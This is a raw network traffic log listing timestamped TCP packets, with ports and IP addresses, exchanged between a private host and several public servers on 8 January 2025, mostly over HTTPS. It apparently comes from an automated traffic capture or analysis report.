Jan 8, 2025 16:18:46.609002113 CET	59980	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:46.627523899 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:46.627537012 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:46.627666950 CET	59980	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:46.627672911 CET	443	59980	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:46.992594004 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:46.992924929 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:46.992933989 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:46.993678093 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:46.993849039 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:46.994574070 CET	443	59980	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:46.994930983 CET	59980	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:46.994937897 CET	443	59980	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:46.995738029 CET	443	59980	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:46.996129036 CET	59980	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.034842968 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.034953117 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.035088062 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.040169001 CET	59980	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.040234089 CET	443	59980	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.079736948 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.079746962 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.095276117 CET	59980	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.095285892 CET	443	59980	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.126529932 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.142330885 CET	59980	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.258667946 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.258683920 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.258686066 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.258763075 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.258807898 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.258894920 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.258903980 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.259082079 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.259087086 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.259282112 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.259282112 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.259288073 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.259443045 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.259769917 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.259777069 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.259860039 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.259962082 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.259968996 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.260158062 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.300405979 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.376521111 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.376785040 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.376902103 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.376910925 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.377038002 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.377130985 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.377207041 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.377208948 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.377463102 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.377512932 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.377721071 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.377726078 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.377820969 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.377964973 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.377969027 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.378036976 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.378281116 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.378607988 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.378613949 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.378618002 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.378957987 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.378962994 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.379009962 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.379143953 CET	49726	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:47.379236937 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.379240990 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.379375935 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.379432917 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.379437923 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.379626989 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.379631042 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.379671097 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.379925013 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.380069971 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.380079031 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.380811930 CET	59980	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.389794111 CET	61907	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.389811993 CET	443	61907	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.389974117 CET	61907	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.390135050 CET	61907	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.390141964 CET	443	61907	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.426234007 CET	443	59980	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.623488903 CET	443	59980	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.623507023 CET	443	59980	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.623864889 CET	443	59980	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.624154091 CET	443	59980	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.624156952 CET	443	59980	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.624233961 CET	59980	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.624242067 CET	443	59980	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.624243975 CET	443	59980	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.624317884 CET	59980	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.624675989 CET	59980	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.741240025 CET	443	59980	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.741244078 CET	443	59980	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.741303921 CET	443	59980	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.741400957 CET	59980	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.741589069 CET	59980	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.741595984 CET	443	59980	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.741669893 CET	59980	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.741766930 CET	443	59980	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.741816044 CET	443	59980	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.741864920 CET	59980	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.741961002 CET	59980	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.742113113 CET	59980	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.742260933 CET	59980	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.742270947 CET	443	59980	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.752306938 CET	443	61907	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.753235102 CET	61907	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.753247023 CET	443	61907	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.753511906 CET	443	61907	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.754471064 CET	61907	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.754565954 CET	443	61907	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.754642963 CET	61907	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.798063993 CET	61907	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.798075914 CET	443	61907	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.866455078 CET	51978	443	192.168.11.20	108.159.227.121
Jan 8, 2025 16:18:47.866470098 CET	443	51978	108.159.227.121	192.168.11.20
Jan 8, 2025 16:18:47.866703033 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:47.866704941 CET	51978	443	192.168.11.20	108.159.227.121
Jan 8, 2025 16:18:47.866715908 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:47.866779089 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:47.866796970 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:47.866821051 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:47.866837978 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:47.866847038 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:47.866895914 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:47.866909027 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:47.866993904 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:47.867041111 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:47.867042065 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:47.867079973 CET	51978	443	192.168.11.20	108.159.227.121
Jan 8, 2025 16:18:47.867090940 CET	443	51978	108.159.227.121	192.168.11.20
Jan 8, 2025 16:18:47.867136955 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:47.867146969 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:47.867213964 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:47.867224932 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:47.867275000 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:47.867285967 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:47.867342949 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:47.867351055 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:47.989003897 CET	62485	443	192.168.11.20	20.125.209.212
Jan 8, 2025 16:18:47.989017010 CET	443	62485	20.125.209.212	192.168.11.20
Jan 8, 2025 16:18:47.989175081 CET	62485	443	192.168.11.20	20.125.209.212
Jan 8, 2025 16:18:47.989272118 CET	62485	443	192.168.11.20	20.125.209.212
Jan 8, 2025 16:18:47.989278078 CET	443	62485	20.125.209.212	192.168.11.20
Jan 8, 2025 16:18:47.989556074 CET	63894	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:47.989573002 CET	443	63894	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:47.989712000 CET	63894	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:47.989860058 CET	63894	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:47.989872932 CET	443	63894	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:47.990125895 CET	50455	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.990137100 CET	443	50455	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.990242004 CET	50455	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.990377903 CET	50455	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.990384102 CET	443	50455	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.993913889 CET	443	61907	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.993932962 CET	443	61907	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.993979931 CET	443	61907	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.993985891 CET	443	61907	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.994024992 CET	443	61907	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.994066954 CET	61907	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.994074106 CET	443	61907	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:47.994143009 CET	61907	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:47.994273901 CET	61907	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:48.111849070 CET	443	61907	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:48.111908913 CET	443	61907	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:48.112055063 CET	61907	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:48.112132072 CET	61907	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:48.112200022 CET	443	51978	108.159.227.121	192.168.11.20
Jan 8, 2025 16:18:48.112236023 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.112287998 CET	61907	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:48.112447977 CET	61907	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:48.112457991 CET	443	61907	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:48.112478971 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.112694979 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.112704039 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.112777948 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.112785101 CET	51978	443	192.168.11.20	108.159.227.121
Jan 8, 2025 16:18:48.112793922 CET	443	51978	108.159.227.121	192.168.11.20
Jan 8, 2025 16:18:48.112929106 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.112930059 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.112936974 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.113292933 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.113300085 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.113384008 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.113389015 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.113395929 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.113488913 CET	443	51978	108.159.227.121	192.168.11.20
Jan 8, 2025 16:18:48.113548994 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.113626957 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.113715887 CET	51978	443	192.168.11.20	108.159.227.121
Jan 8, 2025 16:18:48.113795996 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.114047050 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.114222050 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.114597082 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.114808083 CET	51978	443	192.168.11.20	108.159.227.121
Jan 8, 2025 16:18:48.114856005 CET	443	51978	108.159.227.121	192.168.11.20
Jan 8, 2025 16:18:48.114993095 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.115211010 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.115295887 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.115345001 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.115353107 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.115427971 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.115437031 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.115442991 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.115499020 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.115560055 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.115564108 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.115607977 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.115613937 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.158207893 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.158209085 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.158214092 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.158262014 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.167968035 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.167968035 CET	51978	443	192.168.11.20	108.159.227.121
Jan 8, 2025 16:18:48.167972088 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.167980909 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.167983055 CET	443	51978	108.159.227.121	192.168.11.20
Jan 8, 2025 16:18:48.167989969 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.167996883 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.167996883 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.168008089 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.168013096 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.214960098 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.214968920 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.214968920 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.214971066 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.220931053 CET	51978	443	192.168.11.20	108.159.227.121
Jan 8, 2025 16:18:48.232321978 CET	443	63894	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.232634068 CET	63894	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.232645035 CET	443	63894	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.233429909 CET	443	63894	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.233711004 CET	63894	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.234009027 CET	63894	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.234092951 CET	443	63894	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.275675058 CET	63894	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.275686979 CET	443	63894	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.323564053 CET	63894	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.353779078 CET	49716	80	192.168.11.20	199.232.210.172
Jan 8, 2025 16:18:48.355969906 CET	443	62485	20.125.209.212	192.168.11.20
Jan 8, 2025 16:18:48.356317997 CET	62485	443	192.168.11.20	20.125.209.212
Jan 8, 2025 16:18:48.356327057 CET	443	62485	20.125.209.212	192.168.11.20
Jan 8, 2025 16:18:48.357063055 CET	443	62485	20.125.209.212	192.168.11.20
Jan 8, 2025 16:18:48.357300997 CET	62485	443	192.168.11.20	20.125.209.212
Jan 8, 2025 16:18:48.360472918 CET	62485	443	192.168.11.20	20.125.209.212
Jan 8, 2025 16:18:48.360527039 CET	443	62485	20.125.209.212	192.168.11.20
Jan 8, 2025 16:18:48.361320972 CET	443	50455	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:48.361594915 CET	50455	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:48.361603975 CET	443	50455	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:48.362838984 CET	443	50455	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:48.363008022 CET	50455	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:48.364100933 CET	50455	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:48.364171982 CET	443	50455	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:48.365051031 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.365062952 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.365065098 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.365113974 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.365118980 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.365160942 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.365211964 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.365220070 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.365375996 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.365376949 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.375909090 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.375921011 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.375922918 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.376010895 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.376014948 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.376108885 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.376137972 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.376147985 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.376229048 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.376307964 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.376395941 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.376842976 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.376856089 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.376858950 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.376918077 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.376924038 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.376928091 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.377060890 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.377073050 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.377180099 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.377293110 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.385193110 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.385210991 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.385214090 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.385267019 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.385272980 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.385308981 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.385423899 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.385433912 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.385509968 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.385627985 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.403101921 CET	62485	443	192.168.11.20	20.125.209.212
Jan 8, 2025 16:18:48.403115034 CET	443	62485	20.125.209.212	192.168.11.20
Jan 8, 2025 16:18:48.415334940 CET	50455	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:48.415347099 CET	443	50455	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:48.446330070 CET	62485	443	192.168.11.20	20.125.209.212
Jan 8, 2025 16:18:48.461383104 CET	50455	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:48.471923113 CET	80	49716	199.232.210.172	192.168.11.20
Jan 8, 2025 16:18:48.471937895 CET	80	49716	199.232.210.172	192.168.11.20
Jan 8, 2025 16:18:48.472085953 CET	49716	80	192.168.11.20	199.232.210.172
Jan 8, 2025 16:18:48.497354031 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.497359037 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.497421980 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.497514009 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.497514963 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.497514963 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.497529030 CET	443	53673	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.497709990 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.497786999 CET	53673	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.501266956 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.501279116 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.501553059 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.501564980 CET	443	52336	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.501570940 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.501708031 CET	52336	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.508048058 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.508052111 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.508121014 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.508287907 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.508297920 CET	443	52275	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.508305073 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.508440971 CET	52275	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.520006895 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.520010948 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.520097971 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.520167112 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.520263910 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.520270109 CET	443	51944	23.33.85.196	192.168.11.20
Jan 8, 2025 16:18:48.520334959 CET	51944	443	192.168.11.20	23.33.85.196
Jan 8, 2025 16:18:48.520503998 CET	51944	443	192.168.11.20	23.33.85.196
